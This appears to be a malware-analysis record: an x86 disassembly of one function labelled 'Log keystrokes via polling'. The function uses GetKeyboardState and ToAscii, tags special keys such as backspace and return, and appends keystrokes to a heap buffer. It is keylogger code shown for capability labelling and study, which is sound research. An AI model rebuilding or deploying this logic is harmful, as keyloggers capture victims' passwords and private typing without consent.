Function at 0x10012b50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push 0xff
xor esi, esi
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
mov byte [ebp - 0x114], al
lea eax, [ebp - 0x113]
push esi
push eax
mov byte [ebp - 0xc], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebx + 4], 0x100
mov dword [ebp - 0x10], esi
jne 0x10012d68
push edi
mov edi, dword [ebx + 0xc]
test edi, 0x10000000
jne 0x10012d67
mov eax, dword [ebx]
or edi, 0x10000000
mov dword [ebx + 0xc], edi
call fcn.10012a90
mov eax, dword [0x10059f04]
mov ecx, dword [0x10059f00]
inc eax
mov dword [0x10059f04], eax
mov dword [ebp + 8], eax
mov dword [ebp - 0x14], ecx
test ecx, ecx
jne 0x10012c0c
mov dword [ebp + 8], esi
test eax, eax
je 0x10012c07
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 8], eax
test eax, eax
je 0x10012c07
push esi
mov ecx, eax
push 0
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, dword [ebp + 8]
jmp 0x10012c45
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012c45
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
add edx, 0x1003
and edx, 0xfffff000
push edx
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
mov dword [0x10059f00], esi
test esi, esi
je 0x10012d67
mov bl, byte [ebx + 8]
movsx eax, bl
add eax, 0xfffffff8
mov byte [ebp - 0xc], bl
cmp eax, 0x9b
ja case.0x10012c71.10
movzx ecx, byte [eax + 0x10012d8c]
jmp dword [ecx*4 + 0x10012d70]
mov edx, dword [str._bks_]
mov ax, word [0x100496ec]
mov dword [ebp - 0xc], edx
mov word [ebp - 8], ax
jmp 0x10012d22
mov ecx, dword [str._ret_]
mov dx, word [0x100496f4]
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
jmp 0x10012d22
mov eax, dword [str._tab_]
mov cx, word [0x100496fc]
mov dword [ebp - 0xc], eax
mov word [ebp - 8], cx
jmp 0x10012d22
mov edx, dword [str._del_]
mov ax, word [0x10049704]
mov dword [ebp - 0xc], edx
mov word [ebp - 8], ax
jmp 0x10012d22
mov ecx, dword [str._ins_]
mov dx, word [0x1004970c]
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], dx
jmp 0x10012d22
mov byte [ebp - 0xc], 0
jmp 0x10012d22
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x10012d1c
movsx eax, byte [ebp - 0xc]
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x114]
push edx
push edi
push eax
call dword [sym.imp.USER32.dll_ToAscii]
mov cl, byte [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov esi, dword [0x10059f00]
lea eax, [ebp - 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012d28
sub eax, edx
je 0x10012d67
lea eax, [ebp - 0xc]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012d38
sub eax, edx
lea edi, [esi - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012d44
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea edx, [ebp - 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call fcn.10012710
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4